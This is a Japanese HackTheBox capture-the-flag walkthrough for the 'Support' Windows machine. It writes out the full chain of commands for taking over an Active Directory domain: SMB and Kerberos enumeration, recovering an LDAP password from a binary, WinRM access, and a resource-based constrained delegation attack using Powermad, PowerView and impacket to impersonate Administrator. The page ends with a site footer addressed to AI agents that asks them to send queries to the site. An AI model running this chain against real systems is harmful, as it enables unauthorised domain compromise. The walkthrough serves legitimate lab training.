> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md).

# Support HackTheBox攻略記事

SMB列挙、EXEバイナリ解析、DNSpyによるデバッグ、ブレークポイントの設定とLDAPパスワードの平文取得（DNSpy）を扱うSupport HackTheBox Easy Windowsマシンの攻略記事。実

{% embed url="<https://app.hackthebox.com/machines/484>" %}

{% hint style="warning" %}
**スキル:**

* SMB列挙
* EXEバイナリ解析
* DNSpyを使ったデバッグ
* ブレークポイントを設定し、LDAPパスワードを平文で取得する（DNSpy）
* Kerberosユーザー列挙（kerbrute）
* LDAP列挙（ldapsearch）
* 情報漏えい
* Remote Management Usersグループの悪用（Evil-WinRM）
* SharpHound + BloodHoundによる列挙
* Shared Support Accounts（GenericAll）の悪用（RBCD攻撃）（Resource Based Constrained Delegation）
* Resource Based Constrained Delegation攻撃 - コンピューターオブジェクトの作成（powermad.ps1）
* Resource Based Constrained Delegation攻撃 - PowerView\.ps1
* Resource Based Constrained Delegation攻撃 - なりすましサービスチケットの取得（getST.py）
* チケットを使用してAdministrator権限を取得する（権限昇格）
  {% endhint %}

## 偵察 <a href="#reconnaissance" id="reconnaissance"></a>

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252Fo2rnKrSfjXgEugmM3bpN%252Fimage.png%3Falt=media%26token=f926bbcb-20af-41c6-9325-7b565641549e&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=13a95f453743ff7d80a8a636b310fcf177817f872fc7fa53119ce971d2271c20" alt=""><figcaption></figcaption></figure>

#### **VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-174fae50ff9d19280d9874d4384bc60e7615923b%2Fimage%20(2136).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe67f060490ae2e3730bf7f519f00867c0322f54%2Fimage%20(2137).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmapでポートのバージョンをスキャンする:** Nmapを使ってポートのバージョンをスキャンし、「targeted」ファイルに情報を抽出する:

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15ea6bb3c281ad3febfed224e99c6b943476238d%2Fimage%20(2138).png?alt=media" alt=""><figcaption></figcaption></figure>

## **DC列挙:** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### SMB一覧:

SMB列挙にCrackMapExecを使用する。

```bash
crackmapexec smb 10.10.11.174
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a69b3a4ac591def0ed7eeed43c2dcb4289dd99cf%2Fimage%20(1549).png?alt=media" alt=""><figcaption></figcaption></figure>

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c79bf8ec817228aa35517cba829e88fb801f7ee4%2Fimage%20(1551).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Kerberos一覧:**

Kerbruteを使用してユーザーを列挙する。

```bash
kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79803a0080c53ed86f72cd34f77ba5eb62be416a%2Fimage%20(2139).png?alt=media" alt=""><figcaption></figcaption></figure>

### **ネットワーク共有の探索:**

ネットワーク内の共有フォルダーを検索する。

```bash
smbmap -H 10.10.11.174 -u none
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8784cf356311d8f2de1ffc8f71d0e2191c225801%2Fimage%20(1552).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbclient //10.10.11.174/support-tools -N
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2eac4ec7f89313bf3e114881a5d3ab58d09771d%2Fimage%20(1553).png?alt=media" alt=""><figcaption></figcaption></figure>

「UserInfo-exe-zip」という興味深いzipファイルを見つける。続行するために、次のものを使用する。 `get` コマンドを使ってそれを自分たちのマシンにダウンロードする。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-146d0f0c14d8474311bf757d6851eba5eaaf6df4%2Fimage%20(1554).png?alt=media" alt=""><figcaption></figcaption></figure>

### /*/* Windowsバイナリファイル解析:/*/*

Windows搭載のマシン上でWindows実行ファイルを起動する。

そのためには、次のことが必要だ:

1. ZIPアーカイブを転送する

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-336c5666012c2a04d10a99a66d151be66d39e88f%2Fimage%20(1532).png?alt=media" alt=""><figcaption></figcaption></figure>

2. VPN設定の移行
3. `/etc/hosts` 設定

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d437fff4d6ce1f99c82def2a9ae4f2f5c5137e65%2Fimage%20(1533).png?alt=media" alt=""><figcaption></figcaption></figure>

バイナリを実行してすべての有効ユーザーを特定するには、次のコマンドを入力するだけでよい

```bash
./UserInfo.exe find -first * -last *
```

#### このバイナリを使えば、ユーザー一覧を取得できる。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f14fb65a246282ec34008365edfd123bafc9be9%2Fimage%20(1534).png?alt=media" alt=""><figcaption></figcaption></figure>

#### DNSpyでダウンロードしたWindowsバイナリファイルの解析。

{% embed url="<https://github.com/dnSpy/dnSpy>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-14eda0b0e6a7e38c03998a0c8c761c2bfaa37f14%2Fimage%20(1535).png?alt=media" alt=""><figcaption></figcaption></figure>

### **平文パスワードの抽出:**

DNSpyを使用してWindowsバイナリから平文パスワードを抽出する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68c6479e98ea649406632bb6893d719647ad6b78%2Fimage%20(1537).png?alt=media" alt=""><figcaption></figcaption></figure>

プログラムを実行するが、テキストが平文になっている箇所でのみ一時停止する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1ca7d885fca23b756d5f4e2c062b57004e48b42%2Fimage%20(1538).png?alt=media" alt=""><figcaption></figcaption></figure>

LDAPパスワードは次のとおり:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fccbe4d7d63d2f9e8004e29d9950cd9a4f61e5d8%2Fimage%20(1539).png?alt=media" alt=""><figcaption></figcaption></figure>

### **LDAPパスワードの確認:**

CrackMapExecで抽出したパスワードを確認する。

```bash
crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b79bfe33e6dc867026014d081cb67adbfc047726%2Fimage%20(1540).png?alt=media" alt=""><figcaption></figcaption></figure>

### ドメイン一覧:

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174
```

#### ドメインユーザー

```
enumdomusers
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b0b35dd85e726addffce56832f56c8a40ea29f4%2Fimage%20(1541).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ドメイングループ

```bash
enumdomgroups
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db6b248cef31df6216180ce1148c26c917ef9f2a%2Fimage%20(1543).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ユーザーの説明:

```bash
querydispinfo
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a6c088afc83bd590c7cee65ec87e9a5bfd6e8d9%2Fimage%20(1544).png?alt=media" alt=""><figcaption></figcaption></figure>

#### すべての有効なドメインユーザーをファイルに保存する。

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d30a010c21f0ac40cf81716bea9056e3ffe7124%2Fimage%20(1545).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 次に、LDAPパスワードが以下のユーザーのいずれかで使い回されているかを確認する:

```bash
crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success
```

しかし、これはうまくいかない。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ead4b5c47f06a138d5a8b6c2e2a337bc0e929380%2Fimage%20(1546).png?alt=media" alt=""><figcaption></figcaption></figure>

### **LDPA一覧:**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap>" %}

#### 情報を列挙するためにLDAP検索を使用する。

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```

#### 多くのデータが利用できるが、song情報にフィルターを適用することで、supportユーザーのパスワードが見つかる。

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66d7b358420350e9c73aef45179ffd790a85cffc%2Fimage%20(1547).png?alt=media" alt=""><figcaption></figcaption></figure>

## **侵害:**

#### CrackMapExecを使ってsupportアカウントに関連付けられたパスワードを確認する。

```bash
crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

このユーザーはRemote Management Usersグループのメンバーであり、Windows Remote Management（WinRM）経由で接続できる。

```bash
evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

### **Evil-WinRMの使用:**

特定した情報を使ってEvil-WinRM経由でターゲットシステムに接続する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13620b0ff292719414d2263e0b551379c1e0f175%2Fimage%20(1548).png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格

### **現在の権限の確認:**<br>

を使用して `whoami /priv` ユーザー権限を確認するコマンドだが、成功しない。<br>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb9161fbcd02ca5c5d04afd0202c3f716ec9e961%2Fimage%20(2140).png?alt=media" alt=""><figcaption></figcaption></figure>

### **所属グループの分析:**

を使用して `net user support` ユーザーが所属するグループを確認するコマンド。

一見珍しいグループ「shared support accounts」の発見。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b87693bc598ce55f2c0352ae7ab5c3e2a08a0c2d%2Fimage%20(2141).png?alt=media" alt=""><figcaption></figcaption></figure>

### **権限分析のためのBloodHoundの使用:**

#### BloodHoundツールを使ってアクセス関係を可視化する。

{% embed url="<https://github.com/BloodHoundAD/SharpHound>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24a8ad5d49ece7db7f5c5483d53c6abca7ddfebf%2Fimage%20(2142).png?alt=media" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55d4466bc771276edb7d50b2467948e3509116ed%2Fimage%20(2143).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **さらなる分析のためのSharpHound実行:**

BloodHoundを補完するツールであるSharpHoundを使用して、アクセス関係に関する追加データを収集する。

```powershell
./SharpHound.exe -c All
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec510f08bec802ae32a7f8aeb16a9c8ba3ff1fce%2Fimage%20(2144).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc5197fab18924198b6b334a5841c781a08ac4b8%2Fimage%20(2145).png?alt=media" alt=""><figcaption></figcaption></figure>

## Resource Based Constrained Delegation攻撃の脆弱性:

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation>" %}

### **Resource Based Constrained Delegation攻撃の脆弱性特定:**

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-965df08c9717c66c273be88bab4b616f67236503%2Fimage%20(2146).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### マシンアカウントを作成するためのPowermadスクリプトの配置。

{% embed url="<https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1>" %}

```powershell
Powemad.ps1をアップロード
Import-Module ./Powermad.ps1
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

#### PowerViewを使ってマシンアカウントの作成を確認する。

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>" %}

```powershell
PowerView.ps1をアップロード
Import-Module ./PowerView.ps1
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d14609ed598f86e2db250120bcaf45dc835c0b1%2Fimage%20(2147).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### PowerShellコマンドを使用してマシンアカウントの権限を定義する。

```powershell
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
```

#### このコマンドで、'msds-allowedtoactonbehalfofather identity'プロパティを使って 'Get-DomainComputer dc' 手順全体が機能するか確認する。

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd020e3c2a82e956581c11243297b9e5bb444a87%2Fimage%20(2148).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **脆弱性の悪用**

#### Impacketツールを使用して次のものを実行する `getST` コマンドで、AdministratorユーザーになりすましたTGTチケットを取得する。

```bash
impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2dbf90a346d8f28174a6cc94bb8d992fb55c5e58%2Fimage%20(2149).png?alt=media" alt=""><figcaption></figcaption></figure>

#### exportしてAdministratorのKerberos環境を設定し `KRB5CCNAME`、その後Impacketを使用してターゲットシステムに接続する `psexec`.<br>

```bash
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k dc.support.htb
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24e7afa4733c9a41aec2ac7a31eedcf56c01f322%2Fimage%20(2150).png?alt=media" alt=""><figcaption></figcaption></figure>

### 最終フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8573bbe1a1994c359f2b51a3b87664f13a19dbd3%2Fimage%20(2151).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c5f7e7f7442fe5b14557f36883610d07f0f1c951%2Fimage%20(1414).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
